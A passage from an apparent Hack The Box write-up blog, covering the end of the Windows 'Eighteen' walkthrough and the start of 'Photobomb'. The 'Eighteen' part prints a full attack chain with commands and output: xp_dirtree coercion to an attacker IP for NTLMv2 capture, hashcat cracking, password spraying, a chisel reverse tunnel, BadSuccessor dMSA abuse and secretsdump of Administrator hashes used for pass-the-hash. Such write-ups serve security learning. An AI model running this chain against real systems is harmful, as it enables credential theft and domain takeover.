guest@master)\u0026gt; We see that the credentials kevin:iNa2we6haRj2gaw! are used for a local SQL user. Although as we can see we have limited functionality and cannot use the financial_planner DB.\nLet\u0026rsquo;s enumerate the database more.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 SELECT name, type_desc, is_disabled FROM sys.server_principals; name type_desc is_disabled ----------------------------------- ----------- ----------- sa SQL_LOGIN 0 public SERVER_ROLE 0 sysadmin SERVER_ROLE 0 securityadmin SERVER_ROLE 0 serveradmin SERVER_ROLE 0 setupadmin SERVER_ROLE 0 processadmin SERVER_ROLE 0 diskadmin SERVER_ROLE 0 dbcreator SERVER_ROLE 0 bulkadmin SERVER_ROLE 0 ##MS_ServerStateReader## SERVER_ROLE 0 ##MS_ServerStateManager## SERVER_ROLE 0 ##MS_DefinitionReader## SERVER_ROLE 0 ##MS_DatabaseConnector## SERVER_ROLE 0 ##MS_DatabaseManager## SERVER_ROLE 0 ##MS_LoginManager## SERVER_ROLE 0 ##MS_SecurityDefinitionReader## SERVER_ROLE 0 ##MS_PerformanceDefinitionReader## SERVER_ROLE 0 ##MS_ServerSecurityStateReader## SERVER_ROLE 0 ##MS_ServerPerformanceStateReader## SERVER_ROLE 0 kevin SQL_LOGIN 0 appdev SQL_LOGIN 0 Here we try the to attack the MSSQL service by getting it\u0026rsquo;s NTLMv2 Hash by abusing the xp_dirtee. We setted up responder for this also and it works as we get the hash. Although we couldn\u0026rsquo;t crack it, which means that the password is not an easy one.\n1 2 3 4 EXEC xp_dirtree \u0026#39;\\\\[ATTACKER-IP]\\share\u0026#39;; subdirectory depth SQL (kevin guest@master)\u0026gt; Info This is an easy and very useful attack in many scenarios when dealing with Windows services. responder is a multi-listener tool that listens for all sorts of different protocols at the samr time. Here we use MSSQL\u0026rsquo;s procedures to traverse a remote share (SMB) and thus getting the NTLMv2 hash for authentication from the service running MSSQL. 1 2 3 4 5 6 └─$ sudo responder -I tun0 [SMB] NTLMv2-SSP Client : 10.10.11.95 [SMB] NTLMv2-SSP Username : EIGHTEEN\\mssqlsvc [SMB] NTLMv2-SSP Hash : mssqlsvc::EIGHTEEN:f2cc69a6c10e894f:0F7DA6C5BEDE57DFC07E6321829E33D6:010100000000000080B7E6792082DC018B6D5B0650087B130000000002000800570058004E00500001001E00570049004E002D0042004D004600310059004A00520049004F004400380004003400570049004E002D0042004D004600310059004A00520049004F00440038002E00570058004E0050002E004C004F00430041004C0003001400570058004E0050002E004C004F00430041004C0005001400570058004E0050002E004C004F00430041004C000700080080B7E6792082DC0106000400020000000800300030000000000000000000000000300000FACEC3742BA6DB4C61B8E76AA119CCF9CEB870D707039877B8BC1EE14F73B5620A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00340034000000000000000000 We should continue the enumeration of the database but it make sense to also check the web page more, its pages, endpoints, etc. We check the Login and Register page for SQL injection by trying to abuse it to throw errors. We do the same for the endpoints after we register a user. The app seems to be solid except the fact that it is throwing 500 server errors.\nWhat we managed to find out is an error coming from the MSSQL when we try to register a user with the same username and thus we learned that an admin exists already! We continue with our MSSQL enumeration now.\n1 2 3 4 5 6 SQL (kevin guest@master)\u0026gt; select distinct b.name from sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = \u0026#39;IMPERSONATE\u0026#39;; name appdev SQL (kevin guest@master)\u0026gt; With the above check we can check the impersonation rights the user has. We can impersonate the system user appdev. Below is tool we can use also for MSSQL enumeration and more. We give it a go for a double check.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 └─$ mssqlpwner kevin:\u0026#39;iNa2we6haRj2gaw!\u0026#39;@10.10.11.95 enumerate [*] Connecting to 10.10.11.95:1433 as kevin [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC01): Line 1: Changed database context to \u0026#39;master\u0026#39;. [*] INFO(DC01): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (160 3232) [*] Discovered hostname: DC01 [*] Discovered server principal: appdev on DC01 (kevin@master/guest) [*] Server information from DC01 (kevin@master/guest) is retrieved [*] Server information from DC01 (kevin\u0026gt;I:appdev@master/guest) is retrieved [*] Done! [*] Enumeration completed successfully [*] Saving state to file [*] Linkable servers: [*] Linked Server Name: DC01 [*] Chain: DC01 (kevin@master/guest) [*] Hostname: DC01 [*] Chain ID: 8709b586-aa81-4f1b-a16a-cefe2170a88e [*] Database User: guest [*] Database Name: master [*] Server User: kevin [*] Instance Name: MSSQLSERVER [*] Version: Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) Oct 8 2022 05:58:25 Copyright (C) 2022 Microsoft Corporation Enterprise Evaluation Edition (64-bit) on Windows Server 2025 Datacenter 10.0 \u0026lt;X64\u0026gt; (Build 26100: ) (Hypervisor) [*] Domain Name: EIGHTEEN [*] Our user can impersonate these server principals: appdev [*] These databases are trustworthy: msdb [*] These databases are available: financial_planner [*] -------------------------------------------------- [*] Linked Server Name: DC01 [*] Chain: DC01 (kevin\u0026gt;I:appdev@master/guest) [*] Hostname: DC01 [*] Chain ID: fe6488c8-730c-4b68-bf94-53d6d565dd5f [*] Database User: appdev [*] Database Name: master [*] Server User: appdev [*] Instance Name: MSSQLSERVER [*] Version: Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) Oct 8 2022 05:58:25 Copyright (C) 2022 Microsoft Corporation Enterprise Evaluation Edition (64-bit) on Windows Server 2025 Datacenter 10.0 \u0026lt;X64\u0026gt; (Build 26100: ) (Hypervisor) [*] Domain Name: EIGHTEEN [*] Our user can impersonate these server principals: appdev [*] These databases are trustworthy: msdb [*] These databases are available: financial_planner [*] -------------------------------------------------- [*] Nothing to revert We impersonate appdev with the below statement and the continue into the financial_planner db.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 EXECUTE AS LOGIN = \u0026#39;appdev\u0026#39;; select table_name from financial_planner.information_schema.tables; table_name users incomes expenses allocations analytics visits SQL (appdev appdev@master)\u0026gt; use financial_planner ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner INFO(DC01): Line 1: Changed database context to \u0026#39;financial_planner\u0026#39;. SQL (appdev appdev@financial_planner)\u0026gt; select * from users; id full_name username email password_hash is_admin created_at 1002 admin admin admin@eighteen.htb pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133 1 2025-10-29 05:39:03 SQL (appdev appdev@financial_planner)\u0026gt; We manage to get the administrators hash from the database. Now we need to crack it in order to use elsewhere. Important Finding the correct hash attack mode is important for hashcat, as well as putting the above hash in the correct format. For that the official site helps us with examples. The hash needs to be converted from Hex to Base64 and changed a little bit to match the accepted format.\n1 2 └─$ cat admin.hash pbkdf2_sha256$600000$AMtzteQIG7yAbZIa$BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM= Now let\u0026rsquo;s use hashcat to crack it with the correct hashmode.\nAdmin\u0026#39;s password 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 └─$ hashcat -m 10000 admin.hash /usr/share/wordlists/rockyou.txt.gz pbkdf2_sha256$600000$AMtzteQIG7yAbZIa$BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:iloveyou1 Session..........: hashcat Status...........: Cracked Hash.Mode........: 10000 (Django (PBKDF2-SHA256)) Hash.Target......: pbkdf2_sha256$600000$AMtzteQIG7yAbZIa$BnOtkKC0r7GdZ...yIcTM= Time.Started.....: Sat Jan 10 15:15:44 2026 (26 secs) Time.Estimated...: Sat Jan 10 15:16:10 2026 (0 secs) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz) Guess.Queue......: 1/1 (100.00%) Speed.#01........: 1599 H/s (10.69ms) @ Accel:4 Loops:250 Thr:512 Vec:1 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 40960/14344385 (0.29%) Rejected.........: 0/40960 (0.00%) Restore.Point....: 0/14344385 (0.00%) Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599750-599999 Candidate.Engine.: Device Generator Candidates.#01...: 123456 -\u0026gt; loserface1 Hardware.Mon.#01.: Temp: 60c Util:100% Core:1860MHz Mem:6000MHz Bus:8 Started: Sat Jan 10 15:15:37 2026 Stopped: Sat Jan 10 15:16:11 2026 We have successfully cracked the hash and used it on the website. The problem though is that we don\u0026rsquo;t get anything from it. Tried authenticating with WinRM on the DC host with various usernames(kevin or admin) didn\u0026rsquo;t work. Even trying username spraying attacks didn\u0026rsquo;t bring much.\nTip What if there was a way to enumerate the local principals via the MSSQL credentils we have? Well, actually there is. We can enumerate the RIDs of a Windows host by us using MSSQL and find out what we are looking for. We will nxc for this. Info NetExec (often abbreviated as nxc) is a powerful, open-source network exploitation tool designed to automate security assessments of large networks, with a strong focus on Active Directory (AD) environments. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 └─$ nxc mssql 10.10.11.95 -u kevin -p \u0026#39;iNa2we6haRj2gaw!\u0026#39; --local-auth --rid-brute MSSQL 10.10.11.95 1433 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb) MSSQL 10.10.11.95 1433 DC01 [+] DC01\\kevin:iNa2we6haRj2gaw! MSSQL 10.10.11.95 1433 DC01 498: EIGHTEEN\\Enterprise Read-only Domain Controllers MSSQL 10.10.11.95 1433 DC01 500: EIGHTEEN\\Administrator MSSQL 10.10.11.95 1433 DC01 501: EIGHTEEN\\Guest MSSQL 10.10.11.95 1433 DC01 502: EIGHTEEN\\krbtgt MSSQL 10.10.11.95 1433 DC01 512: EIGHTEEN\\Domain Admins MSSQL 10.10.11.95 1433 DC01 513: EIGHTEEN\\Domain Users MSSQL 10.10.11.95 1433 DC01 514: EIGHTEEN\\Domain Guests MSSQL 10.10.11.95 1433 DC01 515: EIGHTEEN\\Domain Computers MSSQL 10.10.11.95 1433 DC01 516: EIGHTEEN\\Domain Controllers MSSQL 10.10.11.95 1433 DC01 517: EIGHTEEN\\Cert Publishers MSSQL 10.10.11.95 1433 DC01 518: EIGHTEEN\\Schema Admins MSSQL 10.10.11.95 1433 DC01 519: EIGHTEEN\\Enterprise Admins MSSQL 10.10.11.95 1433 DC01 520: EIGHTEEN\\Group Policy Creator Owners MSSQL 10.10.11.95 1433 DC01 521: EIGHTEEN\\Read-only Domain Controllers MSSQL 10.10.11.95 1433 DC01 522: EIGHTEEN\\Cloneable Domain Controllers MSSQL 10.10.11.95 1433 DC01 525: EIGHTEEN\\Protected Users MSSQL 10.10.11.95 1433 DC01 526: EIGHTEEN\\Key Admins MSSQL 10.10.11.95 1433 DC01 527: EIGHTEEN\\Enterprise Key Admins MSSQL 10.10.11.95 1433 DC01 528: EIGHTEEN\\Forest Trust Accounts MSSQL 10.10.11.95 1433 DC01 529: EIGHTEEN\\External Trust Accounts MSSQL 10.10.11.95 1433 DC01 553: EIGHTEEN\\RAS and IAS Servers MSSQL 10.10.11.95 1433 DC01 571: EIGHTEEN\\Allowed RODC Password Replication Group MSSQL 10.10.11.95 1433 DC01 572: EIGHTEEN\\Denied RODC Password Replication Group MSSQL 10.10.11.95 1433 DC01 1000: EIGHTEEN\\DC01$ MSSQL 10.10.11.95 1433 DC01 1101: EIGHTEEN\\DnsAdmins MSSQL 10.10.11.95 1433 DC01 1102: EIGHTEEN\\DnsUpdateProxy MSSQL 10.10.11.95 1433 DC01 1601: EIGHTEEN\\mssqlsvc MSSQL 10.10.11.95 1433 DC01 1602: EIGHTEEN\\SQLServer2005SQLBrowserUser$DC01 MSSQL 10.10.11.95 1433 DC01 1603: EIGHTEEN\\HR MSSQL 10.10.11.95 1433 DC01 1604: EIGHTEEN\\IT MSSQL 10.10.11.95 1433 DC01 1605: EIGHTEEN\\Finance MSSQL 10.10.11.95 1433 DC01 1606: EIGHTEEN\\jamie.dunn MSSQL 10.10.11.95 1433 DC01 1607: EIGHTEEN\\jane.smith MSSQL 10.10.11.95 1433 DC01 1608: EIGHTEEN\\alice.jones MSSQL 10.10.11.95 1433 DC01 1609: EIGHTEEN\\adam.scott MSSQL 10.10.11.95 1433 DC01 1610: EIGHTEEN\\bob.brown MSSQL 10.10.11.95 1433 DC01 1611: EIGHTEEN\\carol.white MSSQL 10.10.11.95 1433 DC01 1612: EIGHTEEN\\dave.green Bingo, we got a ton if information. We save these usernames in a users.txt so we can do a spray attack and have them for reference. We will use Crackmapexec to perform our attack and find which of these can be used with the known password to authenticate on the Windows DC.\n1 2 3 4 5 6 7 8 9 10 └─$ crackmapexec winrm 10.10.11.95 -u users.txt -p \u0026#39;iloveyou1\u0026#39; SMB 10.10.11.95 5985 NONE [*] None (name:10.10.11.95) (domain:None) HTTP 10.10.11.95 5985 NONE [*] http://10.10.11.95:5985/wsman WINRM 10.10.11.95 5985 NONE [-] EIGHTEEN\\jamie.dunn:iloveyou1 WINRM 10.10.11.95 5985 NONE [-] EIGHTEEN\\jane.smith:iloveyou1 WINRM 10.10.11.95 5985 NONE [-] EIGHTEEN\\alice.jones:iloveyou1 WINRM 10.10.11.95 5985 NONE [+] EIGHTEEN\\adam.scott:iloveyou1 (Pwn3d!) So that\u0026rsquo;s how we get the user flag.\nEvil-WinRM usage 1 2 3 4 5 6 7 8 9 10 11 12 └─$ evil-winrm -i 10.10.11.95 -u \u0026#39;EIGHTEEN\\adam.scott\u0026#39; -p \u0026#39;iloveyou1\u0026#39; Evil-WinRM shell v3.7 *Evil-WinRM* PS C:\\Users\\adam.scott\\Documents\u0026gt; ls ..\\Desktop Directory: C:\\Users\\adam.scott\\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 1/11/2026 7:38 PM 34 user.txt Root One important thing to do that generally helps in enumeration and in our tools usage is to expose all the internal ports and networks. We can create a reverse dynamic tunnel and have all the interal services reachable from our attackr host. Even though in our example can be more or less helpful it\u0026rsquo;s still good to do it. On the Windows DC we don\u0026rsquo;t see SSH.exe so we can use Chisel for that. Info Chisel is an HTTP tunneling tool that encapsulates our data stream within HTTP. It also uses the SSH protocol within the tunnel so our data will be encrypted. Attacker/Kali host.\n1 2 3 4 5 └─$ chisel server --port 8081 --reverse 2026/01/12 13:47:52 server: Reverse tunnelling enabled 2026/01/12 13:47:52 server: Listening on http://0.0.0.0:8081 2026/01/12 13:50:09 server: session#1: Client version (1.11.3) differs from server version (1.11.3-0kali1) 2026/01/12 13:50:09 server: session#1: tun: proxy#R:127.0.0.1:1080=\u0026gt;socks: Listening And from the victim host.\n1 2 3 4 5 *Evil-WinRM* PS C:\\Users\\adam.scott\u0026gt; .\\chisel.exe client ATTACKER-IP:8081 R:socks chisel.exe : 2026/01/12 11:50:09 client: Connecting to ws://ATTACKER-IP:8081 + CategoryInfo : NotSpecified: (2026/01/12 11:5..:8081:String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError 2026/01/12 11:50:09 client: Connected (Latency 39.7108ms) Enumeration 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 *Evil-WinRM* PS C:\\Users\\adam.scott\u0026gt; net user /domain User accounts for \\\\ adam.scott Administrator alice.jones bob.brown carol.white dave.green Guest jamie.dunn jane.smith krbtgt mssqlsvc The command completed with one or more errors. *Evil-WinRM* PS C:\\Users\\adam.scott\u0026gt; whoami /groups GROUP INFORMATION Group Name Type SID Attributes ========================================== ================ ============================================= ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group EIGHTEEN\\IT Group S-1-5-21-1152179935-589108180-1989892463-1604 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\\Medium Mandatory Level Label S-1-16-8192 *Evil-WinRM* PS C:\\Users\\adam.scott\u0026gt; whoami /priv PRIVILEGES INFORMATION Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled We have done some basic checks on the user and its privileges. Our target seems to be the Administrator user but we can have a better idea how to get there by checking Bloodhound. First we collect enumerate the AD with Sharphound and then we import it our Bloodhound instance locally.\nInfo We skip the part where we tranfer the Sharphound.ps1, import it and run it and then tranfer the .zip file back to our local attacker host. But any artifacts can be transfered from the attacker =\u0026gt; victim by spinning a web server(python -m http.server 80) and using iwr from the Windows victim host. The opposite can be done also by running an SMB server on the attacker (impacket-smbserver) and just mounting that share from the Windows host. Bloodhound revelead interesting stuff about our user. Part of group IT. We continued looking for all the important stuff and \u0026ldquo;must\u0026rdquo; checks but we didn\u0026rsquo;t get anything interesting. Even continued importing PowerView and enumerate a bit more the AD but nothing popped.\nThe we started looking online also based on our Windows version.\n1 2 3 4 5 6 7 8 *Evil-WinRM* PS C:\\Users\\adam.scott\\Documents\u0026gt; Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion dnshostname operatingsystem operatingsystemversion ----------- --------------- ---------------------- DC01.eighteen.htb Windows Server 2025 Datacenter 10.0 (26100) *Evil-WinRM* PS C:\\Users\\adam.scott\\Documents\u0026gt; $cv = Get-ItemProperty \u0026#39;HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\u0026#39;; \u0026#34;$($cv.CurrentBuild).$($cv.UBR)\u0026#34; 26100.4349 For that specific Windows build there were tons of CVEs and possible exploitable vulnerabilities. We focused again in AD enumeration to see if we had missed something and with Powerview we see check for interesting ACLs.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 *Evil-WinRM* PS C:\\Users\\adam.scott\\Documents\u0026gt; Find-InterestingDomainAcl ... ObjectDN : OU=Staff,DC=eighteen,DC=htb AceQualifier : AccessAllowed ActiveDirectoryRights : CreateChild ObjectAceType : None AceFlags : None AceType : AccessAllowed InheritanceFlags : None SecurityIdentifier : S-1-5-21-1152179935-589108180-1989892463-1604 IdentityReferenceName : IT IdentityReferenceDomain : eighteen.htb IdentityReferenceDN : CN=IT,OU=Staff,DC=eighteen,DC=htb IdentityReferenceClass : group Looking up the CreateChild right in an OU we came accross the CVE-2025-53779 aka BadSuccessor.\nBadSuccessor(CVE-2025-53779) You can read more about it here. We tried using SharpSuccessor but didn\u0026rsquo;t work as expected. But BadSuccessor.ps1 did.\n1 2 3 4 5 6 7 8 *Evil-WinRM* PS C:\\Users\\adam.scott\\Documents\u0026gt; BadSuccessor -mode exploit -Path \u0026#34;OU=Staff,DC=eighteen,DC=htb\u0026#34; -Name \u0026#34;lol2_dmsa\u0026#34; -DelegatedAdmin \u0026#34;adam.scott\u0026#34; -DelegateTarget \u0026#34;Administrator\u0026#34; -domain \u0026#34;eighteen.htb\u0026#34; Creating dMSA at: LDAP://eighteen.htb/OU=Staff,DC=eighteen,DC=htb 0 0 0 0 Successfully created and configured dMSA \u0026#39;lol2_dmsa\u0026#39; Object adam.scott can now impersonate Administrator Tip Make sure to update Impacket before as this is a fairly new attack. We can now impersonate Administrator user!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 ┌──(panas㉿kalig5)-[~/Desktop/htb-labs/eighteen/attack-bins] └─$ proxychains impacket-getST eighteen/adam.scott:iloveyou1 -dc-ip 10.10.11.95 -impersonate \u0026#34;lol_dmsa$\u0026#34; -self -dmsa [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] CCache file is not found. Skipping... [*] Getting TGT for user [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.11.95:88 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.11.95:88 ... OK Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) We get the Clock Skew issue. This means we need our clock to match the Server\u0026rsquo;s (victim).\n1 └─$ sudo timedatectl set-time \u0026#34;$(date -d \u0026#34;$(curl -s -I http://10.10.11.95 | grep -i \u0026#39;^Date:\u0026#39; | cut -d \u0026#39; \u0026#39; -f2-)\u0026#34; \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;)\u0026#34; Let\u0026rsquo;s run our attack again to obtain the ticket for lol2_dmsa$.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 └─$ proxychains impacket-getST eighteen.htb/adam.scott:iloveyou1 -impersonate \u0026#34;lol2_dmsa$\u0026#34; -dc-ip 10.10.11.95 -self -dmsa [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] CCache file is not found. Skipping... [*] Getting TGT for user [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.11.95:88 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.11.95:88 ... OK [*] Impersonating lol2_dmsa$ [*] Requesting S4U2self [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.11.95:88 ... OK [*] Current keys: [*] EncryptionTypes.aes256_cts_hmac_sha1_96:4b0b61f3b184f5bc6d2da8954ddedcfab3151583491bd75c40b067ddc0e80383 [*] EncryptionTypes.aes128_cts_hmac_sha1_96:a6b006a464556aa13606aa4913aa1b3a [*] EncryptionTypes.rc4_hmac:40aabb572d561f64d7ae4ba428551ca4 [*] Previous keys: [*] EncryptionTypes.rc4_hmac:0b133be956bfaddf9cea56701affddec [*] Saving ticket in lol2_dmsa$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache Info The attack flow of that specific CVE is abusing dMSA. How? Our user has CreateChild permissions over the Staff OU, allowing the creation of a malicious dMSA object, which was abused to impersonate the Domain Administrator. Having the ticket in our disposal we can just use it to query whatever we want. We need to export it so Impacket can find it export KRB5CCNAME='lol2_dmsa$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache'.\nAdministrator hash 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 proxychains impacket-secretsdump -k -no-pass dc01.eighteen.htb -just-dc-user Administrator -dc-ip 10.10.11.95 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [proxychains] Strict chain ... 127.0.0.1:1080 ... dc01.eighteen.htb:445 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.11.95:88 ... OK [*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets [proxychains] Strict chain ... 127.0.0.1:1080 ... dc01.eighteen.htb:135 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... dc01.eighteen.htb:49680 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.11.95:88 ... OK Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec::: [*] Kerberos keys grabbed Administrator:0x14:977d41fb9cb35c5a28280a6458db3348ed1a14d09248918d182a9d3866809d7b Administrator:0x13:5ebe190ad8b5efaaae5928226046dfc0 Administrator:aes256-cts-hmac-sha1-96:1acd569d364cbf11302bfe05a42c4fa5a7794bab212d0cda92afb586193eaeb2 Administrator:aes128-cts-hmac-sha1-96:7b6b4158f2b9356c021c2b35d000d55f Administrator:0x17:0b133be956bfaddf9cea56701affddec 1 2 3 4 5 6 7 8 9 10 └─$ evil-winrm -i 10.10.11.95 -u \u0026#39;EIGHTEEN\\Administrator\u0026#39; -H 0b133be956bfaddf9cea56701affddec Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc\u0026#39; for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\\Users\\Administrator\\Documents\u0026gt; ","permalink":"https://p4n4s.com/posts/htb/box/eighteen/","summary":"Eighteen is an easy Windows machine\u0026hellip;","title":"HTB: Windows — Eighteen"},{"content":"Machine Info Spoiler Photobomb is an easy Linux machine where plaintext credentials are used to access an internal web application with a Download functionality that is vulnerable to a blind command injection. Once a foothold as the machine\u0026rsquo;s main user is established, a poorly configured shell script that references binaries without their full paths is leveraged to obtain escalated privileges, as it can be ran with `sudo Host / IP 10.10.11.182 / PHOTOBOMB.HTB. We add the record to our /etc/hosts.\nUser Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 └─$ nmap -p- --min-rate 10000 10.10.11.189 Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-04 20:04 UTC Nmap scan report for 10.10.11.182 Host is up (0.088s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http └─$ nmap -p 22,80 -sCV 10.10.11.182 Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-04 20:05 UTC Nmap scan report for 10.10.11.182 Host is up (0.086s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://photobomb.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel We see a web port open and SSH one. Let\u0026rsquo;s visit the web page.\nWebsite We see a web page that is about photography and has a link for a web (basic-auth) login modal. The path is /printer.\nWe need to try and find the teck stack of the web page. The headers done\u0026rsquo;t give us much tbh. Browsing at the Deb Tools we see on the \u0026lt;head\u0026gt; a script being loaded.\n1 2 3 \u0026lt;title\u0026gt;Photobomb\u0026lt;/title\u0026gt; \u0026lt;link type=\u0026#34;text/css\u0026#34; rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;styles.css\u0026#34; media=\u0026#34;all\u0026#34;\u0026gt; \u0026lt;script src=\u0026#34;photobomb.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; Looking at the debugger tab we find the js script and it has plaintext username and password.\nPlaintext credentials 1 2 3 4 5 6 7 function init() { // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me if (document.cookie.match(/^(.*;)?\\s*isPhotoBombTechSupport\\s*=\\s*[^;]+(.*)?$/)) { document.getElementsByClassName(\u0026#39;creds\u0026#39;)[0].setAttribute(\u0026#39;href\u0026#39;,\u0026#39;http://pH0t0:b0Mb!@photobomb.htb/printer\u0026#39;); } } window.onload = init; pH0t0:b0Mb!\nWe login the printer and we see a collage of pictures ready to download in differnt sizes and formats. We are going to capture a request with Burp to analyze it.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /printer HTTP/1.1 Host: photobomb.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 79 Origin: http://photobomb.htb Authorization: Basic cEgwdDA6YjBNYiE= Connection: keep-alive Referer: http://photobomb.htb/printer Upgrade-Insecure-Requests: 1 Priority: u=0, i photo=andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg\u0026amp;filetype=jpg\u0026amp;dimensions=300x200 We still don\u0026rsquo;t have much of an info about the server or its vulnerable spots. Let\u0026rsquo;s try to mess with it and send a request with altered argumements like this: photo=andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg\u0026amp;filetype=jpg\u0026amp; We basically omit the dimensions parameter.\nAnd boom! We get a 500 server error page with all this info. Searching about the software didn\u0026rsquo;t lead to much. We need to understand the logic hereand how the app resizes all the photos in each request.\nInfo The idea here is that the server uses a tool to convert 